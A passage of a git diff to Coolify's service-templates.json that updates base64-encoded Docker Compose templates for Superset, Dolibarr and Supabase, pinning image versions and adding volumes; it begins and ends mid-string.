TV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==",
"tags": [
"firebase",
"alternative",
@@ -4102,7 +4102,7 @@
"superset-with-postgresql": {
"documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io",
"slogan": "Modern data exploration and visualization platform (unofficial community docker image)",
- "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmVkaXMtY2xpIHBpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
+ "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9TVVBFUlNFVF84MDg4CiAgICAgIC0gJ1NFQ1JFVF9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TVVBFUlNFVFNFQ1JFVEtFWX0nCiAgICAgIC0gJ01BUEJPWF9BUElfS0VZPSR7TUFQQk9YX0FQSV9LRVl9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgdGFyZ2V0OiAvZXRjL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIGNvbnRlbnQ6ICJcIlwiXCJcbkZvciBtb3JlIGNvbmZpZ3VyYXRpb24gb3B0aW9ucywgc2VlOlxuLSBodHRwczovL3N1cGVyc2V0LmFwYWNoZS5vcmcvZG9jcy9jb25maWd1cmF0aW9uL2NvbmZpZ3VyaW5nLXN1cGVyc2V0XG5cIlwiXCJcblxuaW1wb3J0IG9zXG5cblNFQ1JFVF9LRVkgPSBvcy5nZXRlbnYoXCJTRUNSRVRfS0VZXCIpXG5NQVBCT1hfQVBJX0tFWSA9IG9zLmdldGVudihcIk1BUEJPWF9BUElfS0VZXCIsIFwiXCIpXG5cbkNBQ0hFX0NPTkZJRyA9IHtcbiAgXCJDQUNIRV9UWVBFXCI6IFwiUmVkaXNDYWNoZVwiLFxuICBcIkNBQ0hFX0RFRkFVTFRfVElNRU9VVFwiOiAzMDAsXG4gIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X1wiLFxuICBcIkNBQ0hFX1JFRElTX0hPU1RcIjogXCJyZWRpc1wiLFxuICBcIkNBQ0hFX1JFRElTX1BPUlRcIjogNjM3OSxcbiAgXCJDQUNIRV9SRURJU19EQlwiOiAxLFxuICBcIkNBQ0hFX1JFRElTX1VSTFwiOiBmXCJyZWRpczovLzp7b3MuZ2V0ZW52KCdSRURJU19QQVNTV09SRCcpfUByZWRpczo2Mzc5LzFcIixcbn1cblxuRklMVEVSX1NUQVRFX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZmlsdGVyX1wifVxuRVhQTE9SRV9GT1JNX0RBVEFfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9leHBsb3JlX2Zvcm1fXCJ9XG5cblNRTEFMQ0hFTVlfVFJBQ0tfTU9ESUZJQ0FUSU9OUyA9IFRydWVcblNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJID0gZlwicG9zdGdyZXNxbCtwc3ljb3BnMjovL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX1VTRVInKX06e29zLmdldGVudignUE9TVEdSRVNfUEFTU1dPUkQnKX1AcG9zdGdyZXM6NTQzMi97b3MuZ2V0ZW52KCdQT1NUR1JFU19EQicpfVwiXG5cbiMgVW5jb21tZW50IGlmIHlvdSB3YW50IHRvIGxvYWQgZXhhbXBsZSBkYXRhICh1c2luZyBcInN1cGVyc2V0IGxvYWRfZXhhbXBsZXNcIikgYXQgdGhlXG4jIHNhbWUgbG9jYXRpb24gYXMgeW91ciBtZXRhZGF0YSBwb3N0Z3Jlc3FsIGluc3RhbmNlLiBPdGhlcndpc2UsIHRoZSBkZWZhdWx0IHNxbGl0ZVxuIyB3aWxsIGJlIHVzZWQsIHdoaWNoIHdpbGwgbm90IHBlcnNpc3QgaW4gdm9sdW1lIHdoZW4gcmVzdGFydGluZyBzdXBlcnNldCBieSBkZWZhdWx0LlxuI1NRTEFMQ0hFTVlfRVhBTVBMRVNfVVJJID0gU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkiCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODgvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
"tags": [
"analytics",
"bi",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index aae653dac..ccd00c04c 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -851,7 +851,7 @@
"dolibarr": {
"documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io",
"slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).",
- "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LWRvbGliYXJyLWRifScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgdm9sdW1lczoKICAgICAgLSAnZG9saWJhcnJfbWFyaWFkYl9kYXRhOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+ "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX2RvY3M6L3Zhci93d3cvZG9jdW1lbnRzJwogICAgICAtICdkb2xpYmFycl9jdXN0b206L3Zhci93d3cvaHRtbC9jdXN0b20nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
"tags": [
"crm",
"erp"
@@ -4088,7 +4088,7 @@
"supabase": {
"documentation": "https://supabase.io?utm_source=coolify.io",
"slogan": "The open source Firebase alternative.",
- "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL3ZlcmlmeVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tY2FsbGJhY2tcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvY2FsbGJhY2tcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvY2FsbGJhY2tcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9hdXRob3JpemVcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1hdXRob3JpemVcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL2F1dGhvcml6ZVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBTZWN1cmUgQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxXG4gICAgX2NvbW1lbnQ6ICdHb1RydWU6IC9hdXRoL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbi